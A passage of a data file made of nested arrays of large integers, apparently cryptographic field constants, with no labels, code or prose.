11070631886893737756186163572680041275920148904084840840230046946983016892871, 40443626665664921868287930488460123057883587197092194514710037504366782470391, 4475907714406582415708977639733119725185340497228062747517894773525535726587, 5756247823552397794505315487354540241043132275412791869175554096051362947335, 115298082156520292977177749349834416153684924673149582161813467501894405965208, 35099339598631465577497152545140562544061940452290864481350430091232032917826, 50198301806378231143240378266891581837395749774071670024810689371410066277351, 109289806474002851091719203664889483052621052823816866707814358929233897401718, 2943200493732964051876040098686726384104844637467368997510737932897141378357, 26361440583044230077464117607752181986196056675623006784294417732244276486207, 52943517040622728527633991620660360034835951372433453572274139750304505259316, 106835433530624987683670088909214326433702854679069317339344726439662340312840, 76845162274044871321943454511966808805587056694212256451365915484998125987616, 79176905972264321255535253091140411160979681832461264846748944967312253969443, 73946069539781659840018179291258527911177743209774086466358224360379654238163, 28479182133553976302308475223360743863334406365359960947024304270997043365237, 69203648411581405892064004284467038081317624087897807139388280031590497805170, 108735985127561808788122605324675910037110150273343774469549537921380689910512, 87106563396929959747893501028929144254291876109301574121757045251765687598990, 18554104959829232466495716856130472868439338754725276408582488510491204105819, 84507389618059356728564540925063267876971982980163546671820180989188441727012, 17658092071076359681304483683837630143111619805652158143416923206699729184083, 47876841264358956592143749099317274780631603188549760323543371348617209615130, 108011129129885969483070311493964466305469739188206227764178766554968035274251, 52153407771147424598767832654380921622656859124597979339433574632009932371604, 31751143389340224948319405497613993515322498204155187315189222618071393743090, 9278666042798694738841231462242484988807971337686338257906008753515941413544, 94023230888393928684854373187438568034674987812871499204208756097220170506102, 23919910871454087178974695026163540110865003816717218699389133089303355937309, 900481448016742231735367924674942455804656097092657427243517908258055213338], [79873945592264324091935198132435944006788228064151042326359707730701779319671, 111572694295762010930320448845857060895948190420951339825601455919050064171182, 92842078467360985679149028336041760505486745885627134447421983312559031985049, 67628413225268291971356188353187116033900747084951255672542312050521335677935, 14749386453657581616004425640890857361595665170388050686440131128179987436424, 20901155360115377318971340661674694992767778307691937409195218577533101432615, 17779587243349787670306966720618848798346156818327011945499952258937426821611, 80543455367723012491644486672555499686427012515740599728818980453536990183736, 79759111927324209077041829774903117228780737854888556291592697780403695929670, 4733633640545652507073634805565649987876383221579985273475449254828334755715, 77892672878528296304731716762296218458751489728368079427143402635697691817585, 7214079241017647563040814378021619156665709293868496523158066955391443070274, 39923113389998416705088244148390316685131944432824485209393878258803264502832, 113528472390428700897311712709624054204063795066101727636178022402537653612834, 76338091172814516037063704695935818503611048540256166861483504848064866198341, 83353665427463399724721487477161310010639599077843825220727838432670440445094, 33078582894201798062576000240040707175913082212503933526172079672578978449131, 66075743436128914006146579127656283997241866434017124293893070113847291513513, 93399481351744107689792543501814373304967327413556009863667344495357327616620, 16027484861665953948069913620276385104453774843684396680081207745489548403752, 20360667751347138696232429670126780533224886771646614189597445361234969619613, 54025123135985119117100718269615957311402267385671147834303870088627256638784, 97534094392012424085534481191802692979965500223781301892284064239709409278963, 61132491815043328154281325117564638255623426939732666866216798781397974980658, 92947409971649159410512420284229074346999068527590418805933125939786761345022, 112643069644694789314003364934549927055052300002965817284293759622166896483958, 25291329855617937644062710690799914599017876171194656049249171203000791204067, 115339684545186422768943830940268053767715673237556864156448497593034735222610, 33584784735864377579951519160515496498930913393499919106405214970233650844262, 54682476771359645138186319768314804445015837867186319803404109678060194719897, 71076539619849509723725837994235272409968351935108666683310425495291448024152, 96702651074868570973797785562822888820729920793756278617818458460558079083479, 104154954553278432607014042824662640611402667417950565686808677531498553356521, 57154772728284886485321260246805963557616530741462618809591447409157450692205, 74813970043849881867119196839216941060729908610977866131872592716235141619533, 66157252583344308232240433001868355136379659554325396307834544060762103800350, 40867512561954407226231331316033105892045372696428586885610839852602181994754, 10921561051308539903266726980763362228823916475549640920095271549933675177917, 73128705591896930963416713873668524042601907359025038092607311730517831859766, 115516078805989661303079912647659993199505696840198053904069418801398843220298, 57442158601571274428882164134453792136641147112361585801365433127137733840102, 107221813778972893674791387993846676126343015246912963303211310125961372291685, 109573305095082278506955497291172896866445493161153384586340698845763530603641, 30881266741741392601405980039345714870973315119219371690029651406534805795755], [27917753311671289287493156246182989737058493632154260286963668968503111870259, 98699757369561638748509563570452978931754145254868310352168844455806615593465, 73018972659250513025078910197392765652839765879102491523428342447414681058360, 109541487047490230485623272419750779130605211206245108575780007296513877100536, 13387035783541339804072583655681909080081076751716820084662064922978315660537, 81114648855853984727714128354018156251757511288699852590754040169427742745742, 89063252633121445869817329098093638023293678593250248939016514848444800894836, 55526249255659053521126836757760465821739155022357982685845198111980489603284, 67013953359962223267044611346315365987955176382725754357113039149554701917174, 9317518888766598849966318418396954055655585745597422510895522375248816695442, 18394242642984548021924556266253018926301662842652590688284060154676147280662, 101389113653389906867320349100154349420454969216203841717545211141825290258170, 98680010987095775758228312084475939748567214075335855228046434309788897891818, 70817813455263364659925430478608498335865501861209725051183074994433086646514, 106552716361537502702782177143688285613339988193871367630622770795940667055546, 89813916813155426133106245169833225959851696899350120550783098578392115692392, 8315288771542974642768846145953935548568126465313798474539049757937150769687, 47621867502675179135253118857495144253349709308229397578982089309569306935137, 70946896964122050824048742525970203675852416664959213717891758085439974841053, 91002413392319666709582397861506910899974075517353156487985078851875390931949, 94973598334832822421855372187328314130321184592023155483002879667167978314215, 34970895983030546554294578633449568274485951091813963864576958335564212586769, 103874971322544005275139017895425449899223153337638915222874357985314748274252, 94025878081587413236816999558446347705369131700289531431000318520287216515955, 98392993601547354116039073712601966502368761071510530474482818203334275977574, 100812342083328283497212795998687721879757743299643206787298460913326773420896, 68398077681401259309753987531684406920127955873314431067984215902588412742679, 52392666927882633604099552937309022563815153365409131287760996655267219590183, 103063987358357632631025692664469708791819317591470388178956227609585300868446, 15548013285088762803246655721517803324699917456093338397690338262276431540925, 98000344434254925895453063849358807355517441872525135954176175250315733482235, 78492985354360106593436384157046297894599511930503118515297486727976353057736, 58812136572113488858049402187249075835806760105435283932576837230169864311817, 12409325425818865984240334225268723556799813629361445192021921863656270774158, 45135387851861194489490551900486909305765914272479982729664360721262947544613, 48528658696177769159979604620101684756900164199688253717584178798189384870925, 114075351449433634467699463643359512062665076143962605951830798772461665470120, 36691581068346623345238634422347065677666821341507483512057893606679290921041, 79453151778028847781151879767788057338378834352887449920219587880641051115801, 81846316716438357088613823138055221238774114087768097817585987280847157091803, 37248421994870293061871517276180884344441772122635931080044196918095183927584, 107202677727041869112356331547855024477399580035842008633866534750674621895457, 105198669247866180544464514249102818188720873585622951907616868936642112764564, 99203163922138725612405280298475307833315508003249087081489996582449696709084], [16477242316987593811121041567181087259011454644460034777667572344879649757810, 58084821997346905978513564377515656988455507389489287492780941604839239602443, 74741647624788664676228601613593602921201435668533253763101578584574991926497, 79338183596912469336607436335012494548238527152105433050102226251743120200350, 11011516314856286893930218145314348412416226329077738220547305725078799566895, 28357634502574761762498540848933992083823755484776104972545007593726000763312, 76951956336853217306237951975239107936912546590357303171921798327534453798279, 87478102418295484032788903012415901210463591974333729020923914543355486559470, 38984923727712793381931826665055892523313718648054074212068446279672279890047, 36804021669830479296802975329745402099028308340723720092862135578516097712543, 3589492028428991410750712000936206004997814646773217797018202411644622482233, 17153374115965633032235206479174488144952981917359056921349097069839249012596, 65214635399669569619733045134260962079687880109395916331798087057193975572777, 3903172534252199813900938209539823704325084396640874165783337678324757957675, 53470668822994169522785472424673352081049104565713380285222168742056981785105, 22040996127256978932783762761577269562556714275503023664744725600151164033237, 23129743419844796511419128610395608917048417868987714331148612522272744547793, 37087405596638638976783518172853928855649527185960956357729023010397483512026, 10371912598507096510216121338309660681680190378287068833482719537027075364761, 51546514619551656220718586179969765228550854447728018429325233338883221839238, 38834953944998879679476388161096260132800563216663505579826156479126714804111, 110053760784066596897425846680604309727675955950008304451880131381770374175024, 89549008813526425987885596495453680639196080299103568050127598521058556918992, 39264228646064444306026132557995628989155855408297035910415347492446935253331, 89238033613781192234787387680005279096801365552255184591052396376014607316047, 68982272048512150860113166948632309870007020528887576296405487209390937740112, 18913339171089820454955136637288396659731970384410365821502518971447754532071, 111817168734288130183884301025286669743159528155850400735187833288660025425367, 30598615471232607369522912607480512673419562264550428262588431394354457653308, 24362469674483632105886268694293274813032501981407360286586308346387523017317, 25366331024965875548021010341514472627457578990324088578370284715679323463860, 37467102235565446314424385943413008369524124430774023674703227026877717830006, 11329555927145065809192020086574133794487154920320069847835477455533648242568, 48605220077294618100215443970795753407978500172357527087251729025587793950314, 10304797495651674687660389365230891016791629019072865587025932465518900286220, 92168440658751715635212935212823864380398739036290378385501763200460917656566, 112280393408234901964465972015958490757432225646212575060926694814580492767971, 42805099825240768852462070964701278032377646125924229125992064517782631115457, 66090734039523147232868660260003078858362291993398706193562154167019590458704, 96011129558284437576570462876240533337351909967795149275393987980698475680206, 74829866079594279475929410513873666151576205326826777738656024172966220165529, 88031900044902395753045933087334564899294093012170636121960949915672634507362, 100374226624089470910507419865432980959652526382313976192549286870043496375585, 19252514882227886011075449300133610839154156351648083757148215814790539806671], [1593030452644966060894366331585941092149016636172071086107763153823667978798, 35789948026970931426234162117816943868369060858858116716647569781560974884499, 72106628581446031255603604413859033521001957626600760929708062383052447918795, 105552280839983226369048236174907969581783540450261337297068376247965466219822, 54401846606786349387320691852059705447193139482300477944971839605337065074245, 31436622967276848369925748057064555930500747643887752294319555925448259223311, 72188014367496108442251443519966659941674431507180399587886663761539090030254, 49433183832460366401420380632517664133979774758437264678170476208147905796923, 46877159407034624050949557789143822127071792627374486327394450329434275662981, 5970263994530531822692243179086733495295014036375712156219545212007667797182, 6179111666930684838232407960943543533163295220515220509010909179967344809685, 76465398132506875357704643162875247141068600590961983491273853713477690871703, 966229416954280280818277554887102651786175530191874655705354476698922525841, 98140385086166815763173077145856735148463132243983173822119406099172309503587, 70929820209322546986853816836543511710978240414807504757755444849540301758840, 110994596237993598338927062964593094752269150896485201538933586528327882369023, 20754179174078262571841813914444633471648456935524132512842238625926294686090, 81865200001893635042047466550171948588857995016617905279698496968229574680766, 61297951306646399926677115696247370770485263308045912978487245158541049050588, 94114534216449833162899029564944983068114567024532277995964148421112047182498, 39422171322024780864225825969667984405758131969693610165951249127155327432448, 33703592649624896660295701023463073487157953189799476551032886699973306290171, 65235060239677044372745016451759592783750392668390325835967612027536158739077, 85987555338270217856064166670548324020216557943131486657785989071032344262318, 70393145309211211849959206309107433951305235617582866249985940104846700828914, 45780422037605472136935129530306745984876334977968742931326015388319576446259, 19920405626887245756102996361574774297776997671395555302338615270298616396272, 92096238417004938625819997491086301139256930247512873601392666616620740767402, 96098784782925320346574803141408774574122557854948098056033877824131084093663, 83579154745970470551837580921721612280751513478292347241432311994930402437877, 67404827242444756206349041015581709823446958409668405510616361361424174094989, 64110018927737565245326552629807407565923504908059999695669641263635073121001, 53792929993608940391893393213635316303072508998624991515446524493656515284329, 41041945812748282254783455776962184837308371763947629243181190390014224556653, 59440681657314132017759694149251396555682097313794831460375442309219988702455, 81685951029105889738435744179708928422555847471421244204596641494283797303887, 96743508944321207041744651803406015115977430726477199034201521673292632253748, 98088312234308229220354093966861014191304293826893719420859595508649746016990, 88096253267559720285288834664043460840726543668701611873458839379977279625301, 70855218653298131587992989466460941918999127644921888915720837234253104362493, 68330220411715941878904512794842410989513318471766159231292613852449704189781, 98160846042995807518129127596746479792455133453859944171471883384641447100932, 74717311869319819838451100743896086147302362335069417944750797347790307127938, 32531397073532751005680617682540765950771014761497579546104402448480518459212], [75344992333209997792099288476457179256432493515402717409658033708033091190918, 40879191047996998444288469916618555825052970758544054039018656404839907633319, 33340858301541553756420880333765061873403497053742254901840648026043044979853, 5573992601463975533301837677810730486736962880226230674645471347007609682237, 82455314440390786776471560626244829077205915374424903262132585966820094772018, 23069658973545829049523466038321489384146798381801074134090478083035077764352, 95923193579087089392258702028835897063946786140866733012660118688941772167667, 41015410854389616287240913072681649017201986262650623693980643163444113071756, 41294572958944990751077165205868127669447864886169532567136047131032155507447, 55682255947954696486954128547686021318539567094825765991002144570485894358322, 1479299644370468005628762444388801302958404215615695930056122311938772718642, 21960129568324269511306807380034880188213198996020490683056045897233700243696, 13555509031031074156927316303715916823104705671663863608637695172779080853833, 33028537173738387645823427114783805905218804779681746738731226991591167138909, 78813947052393501188910806152672458245769022279455915807638190699135309297387, 95157294964050695658085816803184444483678929864254031579547356721217985253487, 51370290437917206443767295786366915782375988451362062494429302192472110865983, 112782105503616742077691410371895660673778048154981648039372377348434120485398, 36416700656848171758811519688756603062622814177176490350291550287513395392770, 84723044285423609740483068604786994720136102113799385574717097649596227143213, 40729915706383327111710984603819993587560591095950294845084844405442846444569, 54356223037235843776908054653874008649043568823996743696678360245293468966123, 35848928437999518443716887816759999348027401265840248240997996773112383376083, 35530296540551141189992445138532446726786641040119932326765002759219678183658, 36214293385655913973374536394368544743031803483542357926542608317392143886757, 81637087127794161874517512898032419073836367502922189982135189639290333126709, 95354581387548475224052218841411067648392813196169828254108012488471081991741, 40311361933586223453825363615826461459882000774027485998089604822712741171867, 91687212755167539380566209468601235845509896424558712526053052461314975820103, 82638940729979424078953045343863750639496314124156504542467155233210041706350, 3646636745719601751915740791981558867116933580597705806492781301567666799482, 31031132118807365415430250225332978043593245038510378455515466803485393171005, 47714555734037757143218651759095241343075853283634593663791597924552348253207, 37485383942970763444624117254017456639189397974453322202838903664330179150132, 42637542701333629481219908490832603007402176600404129215248910405281006883459, 61466853480632797452518754641533947760444705664522043743413926974638144442245, 39941934781360413402694774240629428519383068570176242032522312092600741542077, 98968328041686199993252672567153864373347177551593420752840122764841952271785, 53906449613590105822089295639269976368663374814627418222906396648774059016901, 92844017348387844140844901075381803479894545657077597392440315195004589556413, 96068019178554718356805605401453922965567196453992754534670207896487685274654, 42373616206557032034156996838538338874817787851800753410942309070078639717206, 44266071988246715059973341154359604675458925206013212166606690842551908132617, 74876662545942682891463468616453091014425566945480551767755252865036520280520], [27958923608886698313874583472330200521722369686783822247744022864312488417614, 11427655771063621721406168095388017634233760540699634933721271738401466387961, 21589600001736857310030111315187134022943847706996588044430225684187598761899, 16734214415885622899040517991832630665929614495689429335264662145757443320823, 30178712445863781130502964677467738091969214217492323208418515628588106606762, 65293525720099137739962733424441051353091861859468956506278557331463283262321, 65822786015865377960778173362214881928269953736680344937725194401155228356889, 70772433919656931652104077001336671262406919075347935470778721690936957891219, 14820579084990054174702835896641004868255339785638199538058892507328173016892, 95415757232434953610422084506884963250475973123507762998224146748497379308360, 45225029593654950849610373660965527450337584903709910771779144153237538304093, 27274644446177542170358405987618017144293144560094586774501027463895031381712, 54269157528415581136815239144764552062075243682939709931009934211541294065054, 109697110226182464821604900287418085518209012170105193770151394100739425730587, 113305127129354528690842123438369818568619360923869422717320378243204142986545, 101517938218937255257492760517193915908383728637550314470250777647118338806205, 81218360305967307203105469190095469229565857457619460685341523287823549034792, 21620883348408201022135558998375836552010519571836873760859657517930535868164, 28541988658039067674326146026383600164313701827199170658948961373649172199661, 72443837044513420174751545678214126890443024523980413922962167767009515056189, 91741729819670466122536036191540043395021779578972780538081679300817727185699, 40928259010295903926808417073954529689044468578942993854125541230088978904589, 62220893247872360698287747664113516862516921563868348508668275953026473680476, 65130087866794882766253900728093163065974265294687973251645500064645965448317, 22787317144625609830645374163369781094951613122809232895403661397021276447034, 88659711692414387378644511930302029214436289066037999117646443321605692250710, 23868636031832560321554156187199796782390713962891881420613389471810634789749, 112358985925788969538933295847321101176029533870973557913157508513578223006818, 15112154438872808565514975390280222431559771932227094052359064927743743607686, 55502277346611622498932288029661269039745456965624518862388471713968792941269, 9401162574650152957343258136291600536521135974153930156975687132857065081378, 58947796331119937517640145369702080725830808788120793519794844836066170264826, 71654730090974403739233378829758581017046919895856417051112950314393242277959, 39787661555700616552393880667603323873590042998628364885118737783789073755360, 45310078948887160278013011969133521712022982006354493910191393748626180930870, 68969278388325436730647059282118206099373127042098374962702636154497433384110, 88491888011323541445263640986402860430436397817782067640627737113606426115757, 58598870356426587972175830680436290079652086827594970720481424030650085535645, 92256595831982352415353425973869546243260199980056638885600795860301741850179, 104391633885597802544072006959815151576036611363878707479053194924059454213664, 70767294098584588281163811935843054841125422007536866178202696698228879349167, 13127930316322895317788473996337272484351197496814789717264764356366245729111, 74410704619947452018367149825797087408910421496032380181928926113166857076099, 87385256071301105644201887183363175759156961798676880995516113291010236831505], [63487327443778678627615389219240793412632160064787947794608338413827886220821, 101306625778521587215871086979360411628471327190167904000203308908726014390747, 29258550346898238837530566423547710010969604546399733474305348745439413184892, 15642512576940817278379049793806008128761740186965953663834512279508932222155, 20181059381062713700368949123398166656617114231318367128484485759653962680388, 1667027151877065504198239305250201747248182180061283880224844943653801245641, 85073958565173828905750643899898342287355610854375295922960032895194373453882, 95283018581938394206654122990875531210669390882965485779526145799157695397431, 110252044971954292613838282440409492821385576732457496955298814850824023188014, 60491587335925503319443750218141786602126569837247398077380063298842354897730, 47625759134959763149351827112788940313088273155467678982252275511704310036248, 2331433953185375820390913940884313111257444996150065266531302807268762133308, 9906111430677157311474515438086662364478797627494277630818546339179697896155, 19263943208594111987346260706044851502007121298229900533418623620202736311339, 92152906094202992766866918264597618807829392554097698812813875675221357523179, 63780866720566415345662060322491589209369828957143069314763623920608148871566, 36392986727181554134196471088507686542305132986413932213377025471758817092384, 104331047073644315907521553987360729768182311519453399461808777602949785536828, 38091984940429970499342350303288963304510878395393879564122704817877835541170, 29551119569856188100078402175889112924886201986057401196683255715425099424485, 65838847087253787562883387895231996445371935406267217007434203747578641872920, 2250775108945595356873231535484052335859618523342173257443920580074567434987, 31984301512498850937226573329426235344374841374268445154495563691959268940155, 106859524264319787462631172599159435377796994416339623848471714398463635073475, 57307657516250221346239027235046794241748908041060841111303534591539222222471, 67267571894990387828760351450449531290478787500562729521286852571166748877323, 94133429769327861567908995669342368008115634475756076953152538794895233744191, 732081915572645291786714902015749776157409555730153000502910413266851803395, 79447831556283102750411508941938224274549799375050134868171304157523673974219, 26970422904404223865073752780043093932718210414827495572724709468350459420280, 82380360233268994120264353541501802774733463273434153356147414809156781809620, 50545787513041896799351480645093121301031977505054953900566596499733040753773, 91608630756684844705799627487020524305001103908573627176714962185134913980068, 70284898846390565934252374425768106838439120014003250695042745305747448036183, 46137153804525592673810655657892018640044929977940760555134598694343812774327, 109383361077606825898348913356530766981565622508787316348457174598408970826302, 81718407554299053855692881047064925088664019921302971908835657725615708302072, 99434563564485202150981674725552863517265774311485416401366236106763683437657, 85105969491314100808911621973259374224112579688094547677268787831537564049169, 42804186835243191025537121574885502690192601337331904281666756751866319761154, 6401575074129526573294891735955590781999842316978958342610264981313169226042, 67245138424602716951372157666813328527418101290750260973958620067520387185871, 102148802983033211889604112372203600981463483913767158755512614473597524901018, 14163003491381151668010557283227494811779205174055366650003343366545922926355], [93529120327967256556539298545508805450025721157357769620152606870893588674664, 20739609806917159995572436152869220374413421774635497299441334226896846030442, 46833584439578018121881476399241051550597643278898550508467303873398346882880, 58498704422748476484977970279771667160698328846764740827208702268346291603483, 86623973259824294688909831128538815370434255897314750883016790099523306762301, 92328829492754560988378573085638707509754833484276006062811499822347455689991, 91810459173352371917901713850371500816771354513699801711524727116093315366379, 98678226500313318119292136630540085889672391614907158486646569094542693762992, 109096866666445823573259627168230721408973463631826100470593806841544585213573, 3081475404594046690804286597503787399445536451464575814959040864970423570731, 93459102072769630250043859277429914689947717548266111251019356626507398623187, 41846897883045913887459723127815751523777481955389945816039759004932985645926, 61048241636261796780627585617826393397159282149078827584784400080985948669030, 27183485692418039678502568689417389267986338265537209350362938115066189314106, 63246359804529756816849442529408016449282288962658885104835662391645260329894, 105622209322384614310014440869252080101877298002022452378487503445417334627376, 74294526623587113182668686313384663260315004672022809947110338596785299242664, 63860322485813216540461127441147171628917711164161248109452510141221856556447, 60278880780864137763117220434061922814486293472519128928421093306600083597106, 70441643867854911848543484660205457491856825978232855898200883283369750946835, 38695694760508672353625295078263171408933693741565733295463290855827200245115, 56185752741828137710823161483404319274223924620490813604504247957374371389523, 96421059892049784470045809407512238112428480144504500165080786922821734294591, 1697445087863827840261844681591616600108094830567401211479891094866136473383, 64308616855694769557784529461909782048149468338649124806015195154965103952420, 35818102841079571878542553458093829334199967701097222534669642260197900379193, 89810718018788011396555222552747999509548005188284556308134832662844786930820, 95750465519223979111626829247600078687839921620567799918030546357562957397946, 102907124163298792072988347786582068481373534542727454945678008059133363157888, 30847549608140946759733790113973438135305243799745644335981385494494923004841, 20314692886166555319176528373913902710152217240210090115937720106647838123526, 75781217134187023866408962275998159796905971761197296323304397200017710518695, 71421716552706555240619847012785625210169916968545680414824392179607360448635, 93066489623264197179707008917834060233720147515317504527409986750331923684876, 61287668557198182151063558970939258882739685859950771631139625453140363871357, 556586930568166366011226663037137794068115170471784013844855398686021380344, 92530375857321031026066556942345148775497956166968678226582801132543789707793, 55322629701170169187830357586913623363718416289861993914330742243870436972242, 103764523100320587899953792687510871351767478055784720906366669859283236246153, 58816008904882571311938000467105253755200561595509353995459863328421397709298, 102115198826935017166677522746429471682843688428678335314038737986453274170630, 14642520180619328164905759210379523752803509076377503480971495173632841038909, 105161213880954130899483977763692375458794382548032469811887164476231605295062, 7926603985970382275884038196303941639265293510545083916396668324119022112814], [100536186622359663675461920980152555594447770829246581416766175963204572620501, 93750334560470688249438257923881750754534255482876683081486052081823578490017, 36939609316891672569776702604446462742298584324862206461155640384580710418118, 66424510769931339980510826209366902341087934311811618184338641924063591126123, 85051437360885067309239005093089495621905670708150428287979668326637891974915, 74505743958788833025561772048459706812617593754810567019910596676649557338629, 66448564366745057671934079000185906520158344339120836026449692387639353413263, 13189407677551985357998802512238939814193838612212975434507057779270396403604, 67153212458252230036777737515870650687023893526484401461966667886958177503498, 36326222374206144712751100077861049463950348260574669981225250814477840665077, 3799169792834171104930076524603634218350033223510887212245795185465509635244, 28605516200563963452063109077049499775843400370421309416618099016423458981558, 4509638609912501366550773569879585684755232022734274181878609270656253130252, 41899312230754567164711305553476260011735605110493976005588364521095651759803, 72215643726497344805496921371314734482735400199509995005714431070413025154324, 11642994953226201917008873519603241835383852665212657751452898466955149227908, 72488700236438847279959372462045583475983058305151382635450086187063255075071, 38346298862961688483222664498314436773779279302984643474066704572957217904329, 88116326667013274932564291488502869551456187387605548989129688339211265042402, 112533600486728517551358852798731901940255812517581015921506277314683038556768, 64343803084797802593775453035658900758808094930556137672645014029459613308087, 84148686940034860701308918921583705775072984989339789689232935432838644223708, 53997205481747472384727616006459840761529947440811026205375422645541144067302, 67909261912650480425506353322703206245997386720239367918852181462379566254762, 10394098317464811277491764140566129758512348954509743043452919996250953903080, 104687151043749959940601202240670200375260554393336126904485870878964838230567, 106898576109843099721583321198378504212575192806003086947694973200320359109995, 67637470865262528680696740791282803713571506538314635567791738058568357753037, 82041589494214904477394502839732360642068103094620003969170526823362651686590, 52017491347914304920610028383594974752532092640779325737841000838378328122867, 106041082134715874036691503683393744113622620529426334517938690259247590920825, 105379361904255822662180829366341278343989557186087846034501307682587037329651, 96779789534219845492280258380138931235262059799869160903856218188064318289256, 1780411248820997021399376669666442532254405951874257971879916258551255462467, 1277283741819404725914075961252951052765109913992288964202673644122726430971, 17020155314126231737898419319927819498439455253449084004810505795894101723254, 70611503684081244608042210222185533934401510062839900011173414959251538506250, 100169326839410211158681891139247854462408258110053660266597261146967675603581, 96322825344931257749895244095341911034032694588848952403017749259060029505743, 1534247273131262832353498158737727614499280344126761201576764970277815732208, 39168006134419764516153937475138487212996390373306598600487033887115394196226, 48069961626243761609659729128836139293037619789753151867856453883250030904257, 71068504479022752337772888038619712332328650502975209809902776305727040358784, 28753131208176260640818645828367973655882695190218439206068149806336051819158], [97285711321547448645301288568333906570071875736076397999395226022498546756247, 94885443198997188942333922594733204570765779475801952441825300505049993617436, 95384657563620137711342979656347942985371102798278310968477892449746502644499, 69952524905601936867931751611992165909811098269791692632263808085197084851998, 31090258041638334169037901721009786888329739715237234326434268190873435092578, 9932262674059112804000438689628725746884613311239933498886845217039047502924, 101897570353798491017885012389709046226250667872865400611769985763387897236382, 15605439756469935326538476033108175912508485243146413296792088998099415635185, 44326049342171798718521519672436368424611252108734810080564882322946063867641, 13970323743891653655107118632996739021142566557367695329610494436994916659905, 85845613463100836962340159465601019113286657239935692693886588825335759345907, 13559441832741448042748871197300351115419348620536596632997019702045164258388, 111260186325997581565936920552735560464484240152093155736028591938415483974806, 3331137009934500676852184320658424085348079896875465158207520161770218544263, 22903959412221128884452074659281292747438672995167763484674398267527050343711, 49421002247610013156260816232050466953304819197571943322217236693543549143040, 109491843660890829166426796105604954742659491720506083442806832129429671622813, 78643163936894734638973907610491535129189751775998472492946924126716423607889, 93690393895336045636644609503495683435951379324008935481980805988544321771557, 66533152482879846768590393431818248987593850598659054782451268439814022010593, 93102857308880992027629704862963927509543475157147865005821856247658886564734, 67324037777851732652978486763331903795609193821185455412125202928241257171972, 74900236074570405634156061628591578634850473679432886573121562010908071963537, 108054927431449756569979724188495491459406770940565795168818089501869843729027, 63713410022780293751467632491025564677180189725124822507777710401280446364846, 48020390247381790741635394866493461162313871649625479945627536456228254810146, 56102376121142867361264191296046762267042515510663409527849499169691264908051, 34416051228123747280548132623343678125051186972427862235159036020908644001370, 17755945533572341952757770845054944151049055292362547230693924058408283828014, 51911850431458518116438954558887534537996576331238417242995707101024796549147, 73771123699355503452557421548916826333716222210326542948464723328229337758663, 100767166152625649565241937831097399665482426165718991673140845404590072014873, 83637779255371800952582769545941272909610555006859734733649409422054108152787, 88552025673483204509531623553699269007035833642494817494642815698160378522702, 93546794780432633175567084826636131403697021486065349824456673243954074869304, 3004475437591430381828461125904690979686835063414986463207940276016294783428, 43042010397444224875164804125843839950396523386264596968131126063834901973008, 12633743414737117234821959871034037310473259831187573993046509561567192725392, 21188536458226380478368306134218431702809366992967504579835614466021599391187, 10084081028052274499359178792085076892721907413452399249981228502480560466372, 91937973391075568255060314813848633071940430589332622909621482750041261122155, 111068405519044606914807352810821786941618435291282444893978656636326413499108, 94945039609032575238126089344205263894484704267638422786615192924687688962456, 53595900848549319246982344205713358416721779198851619455764524490725451779103], [88061582992468997310784737006696332931301208441145999345149675572876989808496, 110549664746651434768284535612862661124499299325224952183748000226569920164851, 51245379436493667269194059093429435884668250718402261832151466516497738280526, 14861772781303153166168004036287404898373589010562480664277238835939688954364, 85436310104334768163170323983916495793194262774654794131417918171280424008358, 93411114153164300647084097152364653042626552279609489854691552263864336762833, 75752791500901803775773434028548752966045786915794066809507684786310979030767, 18029214798959594604571041328610929588268399351768612953475985338760415016060, 107060894108563262315043210297658641184398318701243389135394600014343678209279, 12469128588840079635859024278134681473574267516135484547844869349767441030088, 82228173077676432245502859072092576037444516280597585872536034307253244005693, 35366269513363697672038603169012368566799959995117705647522238371566967980185, 42555290307025295043664268082252654923503462646531125645180565796433870120780, 24294457256495700068991968859977996794769253758660683740602553181004282161539, 89792147182548594547103960518992642726097020762364848332279557598684211801455, 9125282008807394240044578009535923269044392315338164318815683469313579369984, 68254912010421156778071434089887976335858493035292330364993784337717325929877, 112872345398356441940524276975711117789691360896153159682442468488965479135067, 72279910274141660678724161092387214769000029593820280432001324952150687779206, 13660534085930085221350137981872679322686859978774789772335442398317372347990, 29868228144457849657099969614515946404308818771349611617285665572214706491656, 90290509786729984272591702767613986220187540011983098142107076700375367226382, 31357421905187390206266298618727033103785493441579199263439317260673046102110, 99440953861798873179373335454572892484389331277858712473339182313220514129208, 106787976857804678900405914893892202947986933855601783738027932536634983468297, 60844539372012219558152452511073817075249839387088912516619907066611364916273, 26923095614000909161564650804791492865996266552570182062731978235532289056685, 21311142128003562795697079253559580534738333787416580279308008382444148649915, 88253089939004852904648820735914434076970133507009459051359038595025332094840, 110898665367718694278122113694359574087916306722677788911604015672439771989440, 92253759172568704162183086668416859686738756327445861172206535183941391698175, 55999534568020542902550517211363759213573323307740435294065708385376419026954, 115240068329961024532328235839291278184072893217115660432021063270973487524643, 44896666965005060156760009943632439689026499726998215519160300588889224174642, 16287740084190462917491567318104261682979188384836017714967221040775831127898, 38359383686323352858926034443811661573534225943065817170412100448244113282992, 103689782273543933597181227913526202399025902159491174768863591955185707094511, 88549882926559396163022986089555396587608308593528600509495686070313353822910, 92602738769423520436110330736477899192641704284035248630428023982825751917170, 108207187499210622240118713351955529327923868923940297023799618496976695332006, 35707845591377115324347646738155353031274422240680649393756456918970838698070, 30452298072789916486777222381871069367878369948153885506553816021540648843001, 76200032216179799752688859068281902640004177305404909546472914171139167928860, 51550842618146198586510133118574587466971638129730708504530390912913324861869], [34354628886203134647221820801280747252225250173394927074367820884427606784533, 52496763699783683819110438022802312519842757877923012083454285511088042381378, 114941802481211935491150510923409200107622058375177721411480069609910541105169, 80690717399302496065959069685951580381529920328369140584794927484409202062582, 13407802275754261380437143684675110352507738211162340201028695782378664790996, 109667706736422545951221183826174070628744197991874896553976694753780301000046, 114648586365211455039670988198559088371236988181778768013181760459780695396652, 6890431519531091403336843468616747885577860539726347672945284992221227748560, 101286225938111807189693013314144991708617389949123353562623942225064558495909, 44168004405005026464131497237616056298215792875338555449741827113539344754972, 36582269847273598479697405039397188407634886269839411711837302584285042800129, 40597573685713969929725976754769163588149601009433140632824159139058869212833, 9535334654654323325099121547745852350346129475974140332772005002061438924801, 83709727357736143557729222243035107805103119964451750971953455423736833639109, 38693659791804047414119965728845216857972324620778087382203682739166868344440, 24441642928056864155471905426681032765047992376284624495660795174944513368423, 32731722706903706240203238818572559727251459135894232583220219204860832884643, 11093060417385005066112697750304762960677479586447607466257375873419769058332, 71882872136508712113415288933081718388074371483096359553305661881592344639674, 72618944656926557034943906932745306856597321000071041012314137956073592765636, 21916714080578215283715056146617436700637162265688462819543005206020133388164, 